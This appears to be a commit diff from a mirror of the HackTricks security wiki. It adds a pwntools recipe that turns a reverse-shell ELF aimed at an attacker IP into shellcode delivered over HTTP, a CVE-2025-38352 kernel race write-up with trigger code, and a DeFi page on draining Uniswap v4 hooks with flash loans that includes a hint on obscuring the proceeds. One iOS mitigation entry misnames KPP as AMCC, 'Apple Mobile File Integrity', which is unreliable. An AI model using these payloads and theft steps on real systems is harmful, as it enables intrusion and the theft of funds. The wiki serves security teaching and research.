mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks
This commit is contained in:
commit
e02e4e8787
@ -2,7 +2,7 @@ name: Auto Merge Approved PRs
|
||||
|
||||
on:
|
||||
schedule:
|
||||
- cron: '0 */2 * * *' # Every 2 hours
|
||||
- cron: '0 */1 * * *' # Every 1 hour
|
||||
workflow_dispatch: # Allow manual triggering
|
||||
|
||||
permissions:
|
||||
|
File diff suppressed because one or more lines are too long
@ -37,6 +37,7 @@
|
||||
- [Mobile Phishing Malicious Apps](generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md)
|
||||
- [Phishing Files & Documents](generic-methodologies-and-resources/phishing-methodology/phishing-documents.md)
|
||||
- [Basic Forensic Methodology](generic-methodologies-and-resources/basic-forensic-methodology/README.md)
|
||||
- [Adaptixc2 Config Extraction And Ttps](generic-methodologies-and-resources/basic-forensic-methodology/adaptixc2-config-extraction-and-ttps.md)
|
||||
- [Baseline Monitoring](generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md)
|
||||
- [Anti-Forensic Techniques](generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md)
|
||||
- [Docker Forensics](generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md)
|
||||
@ -81,6 +82,7 @@
|
||||
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
|
||||
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
|
||||
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
|
||||
- [Defi/AMM Hook Precision](blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md)
|
||||
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
|
||||
|
||||
# 🧙♂️ Generic Hacking
|
||||
@ -129,6 +131,7 @@
|
||||
- [Seccomp](linux-hardening/privilege-escalation/docker-security/seccomp.md)
|
||||
- [Weaponizing Distroless](linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md)
|
||||
- [Escaping from Jails](linux-hardening/privilege-escalation/escaping-from-limited-bash.md)
|
||||
- [Posix Cpu Timers Toctou Cve 2025 38352](linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
|
||||
- [euid, ruid, suid](linux-hardening/privilege-escalation/euid-ruid-suid.md)
|
||||
- [Interesting Groups - Linux Privesc](linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md)
|
||||
- [lxd/lxc Group - Privilege escalation](linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md)
|
||||
@ -352,6 +355,7 @@
|
||||
- [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md)
|
||||
- [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md)
|
||||
- [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md)
|
||||
- [In Memory Jni Shellcode Execution](mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md)
|
||||
- [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md)
|
||||
- [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md)
|
||||
- [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md)
|
||||
@ -769,7 +773,7 @@
|
||||
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
|
||||
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
|
||||
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
|
||||
- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md)
|
||||
- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md)
|
||||
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
|
||||
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
|
||||
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
|
||||
@ -838,6 +842,7 @@
|
||||
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
|
||||
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
|
||||
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
|
||||
- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
|
||||
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
|
||||
- [ios CVE-2020-27950-mach_msg_trailer_t](binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md)
|
||||
@ -846,7 +851,6 @@
|
||||
- [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md)
|
||||
- [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md)
|
||||
|
||||
|
||||
# 🤖 AI
|
||||
- [AI Security](AI/README.md)
|
||||
- [Ai Assisted Fuzzing And Vulnerability Discovery](AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md)
|
||||
@ -895,7 +899,6 @@
|
||||
- [RC4 - Encrypt\&Decrypt](crypto-and-stego/rc4-encrypt-and-decrypt.md)
|
||||
- [Stego Tricks](crypto-and-stego/stego-tricks.md)
|
||||
- [Esoteric languages](crypto-and-stego/esoteric-languages.md)
|
||||
- [Blockchain & Crypto Currencies](crypto-and-stego/blockchain-and-crypto-currencies.md)
|
||||
|
||||
# ✍️ TODO
|
||||
|
||||
|
@ -173,7 +173,41 @@ To update pwntools
|
||||
pwn update
|
||||
```
|
||||
|
||||
## ELF → raw shellcode packaging (loader_append)
|
||||
|
||||
Pwntools can turn a standalone ELF into a single raw shellcode blob that self‑maps its segments and transfers execution to the original entrypoint. This is ideal for memory‑only loaders (e.g., Android apps invoking JNI to execute downloaded bytes).
|
||||
|
||||
Typical pipeline (amd64 example)
|
||||
|
||||
1) Build a static, position‑independent payload ELF (musl recommended for portability):
|
||||
|
||||
```bash
|
||||
musl-gcc -O3 -s -static -o exploit exploit.c \
|
||||
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
|
||||
```
|
||||
|
||||
2) Convert ELF → shellcode with pwntools:
|
||||
|
||||
```python
|
||||
# exp2sc.py
|
||||
from pwn import *
|
||||
context.clear(arch='amd64')
|
||||
elf = ELF('./exploit')
|
||||
sc = asm(shellcraft.loader_append(elf.data, arch='amd64'))
|
||||
open('sc','wb').write(sc)
|
||||
print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes")
|
||||
```
|
||||
|
||||
3) Deliver sc to a memory loader (e.g., via HTTP[S]) and execute in‑process.
|
||||
|
||||
Notes
|
||||
- loader_append embeds the original ELF program into the shellcode and emits a tiny loader that mmaps the segments and jumps to the entry.
|
||||
- Be explicit about the architecture via context.clear(arch=...). arm64 is common on Android.
|
||||
- Keep your payload’s code position‑independent and avoid assumptions about process ASLR/NX.
|
||||
|
||||
## References
|
||||
|
||||
- [Pwntools](https://docs.pwntools.com/en/stable/)
|
||||
- [CoRPhone – ELF→shellcode pipeline used for Android in-memory execution](https://github.com/0xdevil/corphone)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
@ -343,4 +343,3 @@ int main(int argc, char *argv[]) {
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
@ -3,6 +3,19 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## iOS Exploit Mitigations
|
||||
|
||||
- **Code Signing** in iOS works by requiring every piece of executable code (apps, libraries, extensions, etc.) to be cryptographically signed with a certificate issued by Apple. When code is loaded, iOS verifies the digital signature against Apple’s trusted root. If the signature is invalid, missing, or modified, the OS refuses to run it. This prevents attackers from injecting malicious code into legitimate apps or running unsigned binaries, effectively stopping most exploit chains that rely on executing arbitrary or tampered code.
|
||||
- **CoreTrust** is the iOS subsystem responsible for enforcing code signing at runtime. It directly verifies signatures using Apple’s root certificate without relying on cached trust stores, meaning only binaries signed by Apple (or with valid entitlements) can execute. CoreTrust ensures that even if an attacker tampers with an app after installation, modifies system libraries, or tries to load unsigned code, the system will block execution unless the code is still properly signed. This strict enforcement closes many post-exploitation vectors that older iOS versions allowed through weaker or bypassable signature checks.
|
||||
- **Data Execution Prevention (DEP)** marks memory regions as non-executable unless they explicitly contain code. This stops attackers from injecting shellcode into data regions (like the stack or heap) and running it, forcing them to rely on more complex techniques like ROP (Return-Oriented Programming).
|
||||
- **ASLR (Address Space Layout Randomization)** randomizes the memory addresses of code, libraries, stack, and heap every time the system runs. This makes it much harder for attackers to predict where useful instructions or gadgets are, breaking many exploit chains that depend on fixed memory layouts.
|
||||
- **KASLR (Kernel ASLR)** applies the same randomization concept to the iOS kernel. By shuffling the kernel’s base address at each boot, it prevents attackers from reliably locating kernel functions or structures, raising the difficulty of kernel-level exploits that would otherwise gain full system control.
|
||||
- **Kernel Patch Protection (KPP)** also known as **AMCC (Apple Mobile File Integrity)** in iOS, continuously monitors the kernel’s code pages to ensure they haven’t been modified. If any tampering is detected—such as an exploit trying to patch kernel functions or insert malicious code—the device will immediately panic and reboot. This protection makes persistent kernel exploits far harder, as attackers can’t simply hook or patch kernel instructions without triggering a system crash.
|
||||
- **Kernel Text Readonly Region (KTRR)** is a hardware-based security feature introduced on iOS devices. It uses the CPU’s memory controller to mark the kernel’s code (text) section as permanently read-only after boot. Once locked, even the kernel itself cannot modify this memory region. This prevents attackers—and even privileged code—from patching kernel instructions at runtime, closing off a major class of exploits that relied on modifying kernel code directly.
|
||||
- **Pointer Authentication Codes (PAC)** use cryptographic signatures embedded into unused bits of pointers to verify their integrity before use. When a pointer (like a return address or function pointer) is created, the CPU signs it with a secret key; before dereferencing, the CPU checks the signature. If the pointer was tampered with, the check fails and execution stops. This prevents attackers from forging or reusing corrupted pointers in memory corruption exploits, making techniques like ROP or JOP much harder to pull off reliably.
|
||||
- **Privilege Access never (PAN)** is a hardware feature that prevents the kernel (privileged mode) from directly accessing user-space memory unless it explicitly enables access. This stops attackers who gained kernel code execution from easily reading or writing user memory to escalate exploits or steal sensitive data. By enforcing strict separation, PAN reduces the impact of kernel exploits and blocks many common privilege-escalation techniques.
|
||||
- **Page Protection Layer (PPL)** is an iOS security mechanism that protects critical kernel-managed memory regions, especially those related to code signing and entitlements. It enforces strict write protections using the MMU (Memory Management Unit) and additional checks, ensuring that even privileged kernel code cannot arbitrarily modify sensitive pages. This prevents attackers who gain kernel-level execution from tampering with security-critical structures, making persistence and code-signing bypasses significantly harder.
|
||||
|
||||
## Physical use-after-free
|
||||
|
||||
This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
||||
|
@ -0,0 +1,213 @@
|
||||
# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
This page documents a TOCTOU race condition in Linux/Android POSIX CPU timers that can corrupt timer state and crash the kernel, and under some circumstances be steered toward privilege escalation.
|
||||
|
||||
- Affected component: kernel/time/posix-cpu-timers.c
|
||||
- Primitive: expiry vs deletion race under task exit
|
||||
- Config sensitive: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
|
||||
|
||||
Quick internals recap (relevant for exploitation)
|
||||
- Three CPU clocks drive accounting for timers via cpu_clock_sample():
|
||||
- CPUCLOCK_PROF: utime + stime
|
||||
- CPUCLOCK_VIRT: utime only
|
||||
- CPUCLOCK_SCHED: task_sched_runtime()
|
||||
- Timer creation wires a timer to a task/pid and initializes the timerqueue nodes:
|
||||
|
||||
```c
|
||||
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
|
||||
struct pid *pid;
|
||||
rcu_read_lock();
|
||||
pid = pid_for_clock(new_timer->it_clock, false);
|
||||
if (!pid) { rcu_read_unlock(); return -EINVAL; }
|
||||
new_timer->kclock = &clock_posix_cpu;
|
||||
timerqueue_init(&new_timer->it.cpu.node);
|
||||
new_timer->it.cpu.pid = get_pid(pid);
|
||||
rcu_read_unlock();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
- Arming inserts into a per-base timerqueue and may update the next-expiry cache:
|
||||
|
||||
```c
|
||||
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
|
||||
struct posix_cputimer_base *base = timer_base(timer, p);
|
||||
struct cpu_timer *ctmr = &timer->it.cpu;
|
||||
u64 newexp = cpu_timer_getexpires(ctmr);
|
||||
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
|
||||
if (newexp < base->nextevt) base->nextevt = newexp;
|
||||
}
|
||||
```
|
||||
|
||||
- Fast path avoids expensive processing unless cached expiries indicate possible firing:
|
||||
|
||||
```c
|
||||
static inline bool fastpath_timer_check(struct task_struct *tsk) {
|
||||
struct posix_cputimers *pct = &tsk->posix_cputimers;
|
||||
if (!expiry_cache_is_inactive(pct)) {
|
||||
u64 samples[CPUCLOCK_MAX];
|
||||
task_sample_cputime(tsk, samples);
|
||||
if (task_cputimers_expired(samples, pct))
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
```
|
||||
|
||||
- Expiration collects expired timers, marks them firing, moves them off the queue; actual delivery is deferred:
|
||||
|
||||
```c
|
||||
#define MAX_COLLECTED 20
|
||||
static u64 collect_timerqueue(struct timerqueue_head *head,
|
||||
struct list_head *firing, u64 now) {
|
||||
struct timerqueue_node *next; int i = 0;
|
||||
while ((next = timerqueue_getnext(head))) {
|
||||
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
|
||||
u64 expires = cpu_timer_getexpires(ctmr);
|
||||
if (++i == MAX_COLLECTED || now < expires) return expires;
|
||||
ctmr->firing = 1; // critical state
|
||||
rcu_assign_pointer(ctmr->handling, current);
|
||||
cpu_timer_dequeue(ctmr);
|
||||
list_add_tail(&ctmr->elist, firing);
|
||||
}
|
||||
return U64_MAX;
|
||||
}
|
||||
```
|
||||
|
||||
Two expiry-processing modes
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: expiry is deferred via task_work on the target task
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: expiry handled directly in IRQ context
|
||||
|
||||
```c
|
||||
void run_posix_cpu_timers(void) {
|
||||
struct task_struct *tsk = current;
|
||||
__run_posix_cpu_timers(tsk);
|
||||
}
|
||||
#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
|
||||
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
|
||||
if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
|
||||
tsk->posix_cputimers_work.scheduled = true;
|
||||
task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
|
||||
}
|
||||
#else
|
||||
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
|
||||
lockdep_posixtimer_enter();
|
||||
handle_posix_cpu_timers(tsk); // IRQ-context path
|
||||
lockdep_posixtimer_exit();
|
||||
}
|
||||
#endif
|
||||
```
|
||||
|
||||
In the IRQ-context path, the firing list is processed outside sighand
|
||||
|
||||
```c
|
||||
static void handle_posix_cpu_timers(struct task_struct *tsk) {
|
||||
struct k_itimer *timer, *next; unsigned long flags, start;
|
||||
LIST_HEAD(firing);
|
||||
if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit
|
||||
do {
|
||||
start = READ_ONCE(jiffies); barrier();
|
||||
check_thread_timers(tsk, &firing);
|
||||
check_process_timers(tsk, &firing);
|
||||
} while (!posix_cpu_timers_enable_work(tsk, start));
|
||||
unlock_task_sighand(tsk, &flags); // race window opens here
|
||||
list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
|
||||
int cpu_firing;
|
||||
spin_lock(&timer->it_lock);
|
||||
list_del_init(&timer->it.cpu.elist);
|
||||
cpu_firing = timer->it.cpu.firing; // read then reset
|
||||
timer->it.cpu.firing = 0;
|
||||
if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
|
||||
rcu_assign_pointer(timer->it.cpu.handling, NULL);
|
||||
spin_unlock(&timer->it_lock);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit
|
||||
Preconditions
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
|
||||
- The target task is exiting but not fully reaped
|
||||
- Another thread concurrently calls posix_cpu_timer_del() for the same timer
|
||||
|
||||
Sequence
|
||||
1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task.
|
||||
2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list.
|
||||
3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock.
|
||||
4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del().
|
||||
5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB.
|
||||
|
||||
Why TASK_WORK mode is safe by design
|
||||
- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur.
|
||||
- Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent.
|
||||
|
||||
Fix (Android common kernel) and rationale
|
||||
- Add an early return if current task is exiting, gating all processing:
|
||||
|
||||
```c
|
||||
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
|
||||
if (tsk->exit_state)
|
||||
return;
|
||||
```
|
||||
|
||||
- This prevents entering handle_posix_cpu_timers() for exiting tasks, eliminating the window where posix_cpu_timer_del() could miss it.cpu.firing and race with expiry processing.
|
||||
|
||||
Impact
|
||||
- Kernel memory corruption of timer structures during concurrent expiry/deletion can yield immediate crashes (DoS) and is a strong primitive toward privilege escalation due to arbitrary kernel-state manipulation opportunities.
|
||||
|
||||
Triggering the bug (safe, reproducible conditions)
|
||||
Build/config
|
||||
- Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix.
|
||||
|
||||
Runtime strategy
|
||||
- Target a thread that is about to exit and attach a CPU timer to it (per-thread or process-wide clock):
|
||||
- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
|
||||
- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
|
||||
- Arm with a very short initial expiration and small interval to maximize IRQ-path entries:
|
||||
|
||||
```c
|
||||
static timer_t t;
|
||||
static void setup_cpu_timer(void) {
|
||||
struct sigevent sev = {0};
|
||||
sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race
|
||||
sev.sigev_signo = SIGUSR1;
|
||||
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
|
||||
struct itimerspec its = {0};
|
||||
its.it_value.tv_nsec = 1; // fire ASAP
|
||||
its.it_interval.tv_nsec = 1; // re-fire
|
||||
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
|
||||
}
|
||||
```
|
||||
|
||||
- From a sibling thread, concurrently delete the same timer while the target thread exits:
|
||||
|
||||
```c
|
||||
void *deleter(void *arg) {
|
||||
for (;;) (void)timer_delete(t); // hammer delete in a loop
|
||||
}
|
||||
```
|
||||
|
||||
- Race amplifiers: high scheduler tick rate, CPU load, repeated thread exit/re-create cycles. The crash typically manifests when posix_cpu_timer_del() skips noticing firing due to failing task lookup/locking right after unlock_task_sighand().
|
||||
|
||||
Detection and hardening
|
||||
- Mitigation: apply the exit_state guard; prefer enabling CONFIG_POSIX_CPU_TIMERS_TASK_WORK when feasible.
|
||||
- Observability: add tracepoints/WARN_ONCE around unlock_task_sighand()/posix_cpu_timer_del(); alert when it.cpu.firing==1 is observed together with failed cpu_timer_task_rcu()/lock_task_sighand(); watch for timerqueue inconsistencies around task exit.
|
||||
|
||||
Audit hotspots (for reviewers)
|
||||
- update_process_times() → run_posix_cpu_timers() (IRQ)
|
||||
- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
|
||||
- collect_timerqueue(): sets ctmr->firing and moves nodes
|
||||
- handle_posix_cpu_timers(): drops sighand before firing loop
|
||||
- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap
|
||||
|
||||
Notes for exploitation research
|
||||
- The disclosed behavior is a reliable kernel crash primitive; turning it into privilege escalation typically needs an additional controllable overlap (object lifetime or write-what-where influence) beyond the scope of this summary. Treat any PoC as potentially destabilizing and run only in emulators/VMs.
|
||||
|
||||
## References
|
||||
- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
|
||||
- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
|
||||
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -185,6 +185,14 @@ These practices and mechanisms are foundational for anyone looking to engage wit
|
||||
- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
|
||||
- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
|
||||
|
||||
## DeFi/AMM Exploitation
|
||||
|
||||
If you are researching practical exploitation of DEXes and AMMs (Uniswap v4 hooks, rounding/precision abuse, flash‑loan amplified threshold‑crossing swaps), check:
|
||||
|
||||
{{#ref}}
|
||||
defi-amm-hook-precision.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
@ -0,0 +1,162 @@
|
||||
# DeFi/AMM Exploitation: Uniswap v4 Hook Precision/Rounding Abuse
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
This page documents a class of DeFi/AMM exploitation techniques against Uniswap v4–style DEXes that extend core math with custom hooks. A recent incident in Bunni V2 leveraged a rounding/precision flaw in a Liquidity Distribution Function (LDF) executed on each swap, enabling the attacker to accrue positive credits and drain liquidity.
|
||||
|
||||
Key idea: if a hook implements additional accounting that depends on fixed‑point math, tick rounding, and threshold logic, an attacker can craft exact‑input swaps that cross specific thresholds so that rounding discrepancies accumulate in their favor. Repeating the pattern and then withdrawing the inflated balance realizes profit, often financed with a flash loan.
|
||||
|
||||
## Background: Uniswap v4 hooks and swap flow
|
||||
|
||||
- Hooks are contracts that the PoolManager calls at specific lifecycle points (e.g., beforeSwap/afterSwap, beforeAddLiquidity/afterAddLiquidity, beforeRemoveLiquidity/afterRemoveLiquidity).
|
||||
- Pools are initialized with a PoolKey including hooks address. If non‑zero, PoolManager performs callbacks on every relevant operation.
|
||||
- Core math uses fixed‑point formats such as Q64.96 for sqrtPriceX96 and tick arithmetic with 1.0001^tick. Any custom math layered on top must carefully match rounding semantics to avoid invariant drift.
|
||||
- Swaps can be exactInput or exactOutput. In v3/v4, price moves along ticks; crossing a tick boundary may activate/deactivate range liquidity. Hooks may implement extra logic on threshold/tick crossings.
|
||||
|
||||
## Vulnerability archetype: threshold‑crossing precision/rounding drift
|
||||
|
||||
A typical vulnerable pattern in custom hooks:
|
||||
|
||||
1. The hook computes per‑swap liquidity or balance deltas using integer division, mulDiv, or fixed‑point conversions (e.g., token ↔ liquidity using sqrtPrice and tick ranges).
|
||||
2. Threshold logic (e.g., rebalancing, stepwise redistribution, or per‑range activation) is triggered when a swap size or price movement crosses an internal boundary.
|
||||
3. Rounding is applied inconsistently (e.g., truncation toward zero, floor versus ceil) between the forward calculation and the settlement path. Small discrepancies don’t cancel and instead credit the caller.
|
||||
4. Exact‑input swaps, precisely sized to straddle those boundaries, repeatedly harvest the positive rounding remainder. The attacker later withdraws the accumulated credit.
|
||||
|
||||
Attack preconditions
|
||||
- A pool using a custom v4 hook that performs additional math on each swap (e.g., an LDF/rebalancer).
|
||||
- At least one execution path where rounding benefits the swap initiator across threshold crossings.
|
||||
- Ability to repeat many swaps atomically (flash loans are ideal to supply temporary float and amortize gas).
|
||||
|
||||
## Practical attack methodology
|
||||
|
||||
1) Identify candidate pools with hooks
|
||||
- Enumerate v4 pools and check PoolKey.hooks != address(0).
|
||||
- Inspect hook bytecode/ABI for callbacks: beforeSwap/afterSwap and any custom rebalancing methods.
|
||||
- Look for math that: divides by liquidity, converts between token amounts and liquidity, or aggregates BalanceDelta with rounding.
|
||||
|
||||
2) Model the hook’s math and thresholds
|
||||
- Recreate the hook’s liquidity/redistribution formula: inputs typically include sqrtPriceX96, tickLower/Upper, currentTick, fee tier, and net liquidity.
|
||||
- Map threshold/step functions: ticks, bucket boundaries, or LDF breakpoints. Determine which side of each boundary the delta is rounded on.
|
||||
- Identify where conversions cast between uint256/int256, use SafeCast, or rely on mulDiv with implicit floor.
|
||||
|
||||
3) Calibrate exact‑input swaps to cross boundaries
|
||||
- Use Foundry/Hardhat simulations to compute the minimal Δin needed to move price just across a boundary and trigger the hook’s branch.
|
||||
- Verify that afterSwap settlement credits the caller more than the cost, leaving a positive BalanceDelta or credit in the hook’s accounting.
|
||||
- Repeat swaps to accumulate credit; then call the hook’s withdrawal/settlement path.
|
||||
|
||||
Example Foundry‑style test harness (pseudocode)
|
||||
```solidity
|
||||
function test_precision_rounding_abuse() public {
|
||||
// 1) Arrange: set up pool with hook
|
||||
PoolKey memory key = PoolKey({
|
||||
currency0: USDC,
|
||||
currency1: USDT,
|
||||
fee: 500, // 0.05%
|
||||
tickSpacing: 10,
|
||||
hooks: address(bunniHook)
|
||||
});
|
||||
pm.initialize(key, initialSqrtPriceX96);
|
||||
|
||||
// 2) Determine a boundary‑crossing exactInput
|
||||
uint256 exactIn = calibrateToCrossThreshold(key, targetTickBoundary);
|
||||
|
||||
// 3) Loop swaps to accrue rounding credit
|
||||
for (uint i; i < N; ++i) {
|
||||
pm.swap(
|
||||
key,
|
||||
IPoolManager.SwapParams({
|
||||
zeroForOne: true,
|
||||
amountSpecified: int256(exactIn), // exactInput
|
||||
sqrtPriceLimitX96: 0 // allow tick crossing
|
||||
}),
|
||||
""
|
||||
);
|
||||
}
|
||||
|
||||
// 4) Realize inflated credit via hook‑exposed withdrawal
|
||||
bunniHook.withdrawCredits(msg.sender);
|
||||
}
|
||||
```
|
||||
|
||||
Calibrating the exactInput
|
||||
- Compute ΔsqrtP for a tick step: sqrtP_next = sqrtP_current × 1.0001^(Δtick).
|
||||
- Approximate Δin using v3/v4 formulas: Δx ≈ L × (ΔsqrtP / (sqrtP_next × sqrtP_current)). Ensure rounding direction matches core math.
|
||||
- Adjust Δin by ±1 wei around the boundary to find the branch where the hook rounds in your favor.
|
||||
|
||||
4) Amplify with flash loans
|
||||
- Borrow a large notional (e.g., 3M USDT or 2000 WETH) to run many iterations atomically.
|
||||
- Execute the calibrated swap loop, then withdraw and repay within the flash loan callback.
|
||||
|
||||
Aave V3 flash loan skeleton
|
||||
```solidity
|
||||
function executeOperation(
|
||||
address[] calldata assets,
|
||||
uint256[] calldata amounts,
|
||||
uint256[] calldata premiums,
|
||||
address initiator,
|
||||
bytes calldata params
|
||||
) external returns (bool) {
|
||||
// run threshold‑crossing swap loop here
|
||||
for (uint i; i < N; ++i) {
|
||||
_exactInBoundaryCrossingSwap();
|
||||
}
|
||||
// realize credits / withdraw inflated balances
|
||||
bunniHook.withdrawCredits(address(this));
|
||||
// repay
|
||||
for (uint j; j < assets.length; ++j) {
|
||||
IERC20(assets[j]).approve(address(POOL), amounts[j] + premiums[j]);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
```
|
||||
|
||||
5) Exit and cross‑chain replication
|
||||
- If hooks are deployed on multiple chains, repeat the same calibration per chain.
|
||||
- Bridge proceeds back to the target chain and optionally cycle via lending protocols to obfuscate flows.
|
||||
|
||||
## Common root causes in hook math
|
||||
|
||||
- Mixed rounding semantics: mulDiv floors while later paths effectively round up; or conversions between token/liquidity apply different rounding.
|
||||
- Tick alignment errors: using unrounded ticks in one path and tick‑spaced rounding in another.
|
||||
- BalanceDelta sign/overflow issues when converting between int256 and uint256 during settlement.
|
||||
- Precision loss in Q64.96 conversions (sqrtPriceX96) not mirrored in reverse mapping.
|
||||
- Accumulation pathways: per‑swap remainders tracked as credits that are withdrawable by the caller instead of being burned/zero‑sum.
|
||||
|
||||
## Defensive guidance
|
||||
|
||||
- Differential testing: mirror the hook’s math vs a reference implementation using high‑precision rational arithmetic and assert equality or bounded error that is always adversarial (never favorable to caller).
|
||||
- Invariant/property tests:
|
||||
- Sum of deltas (tokens, liquidity) across swap paths and hook adjustments must conserve value modulo fees.
|
||||
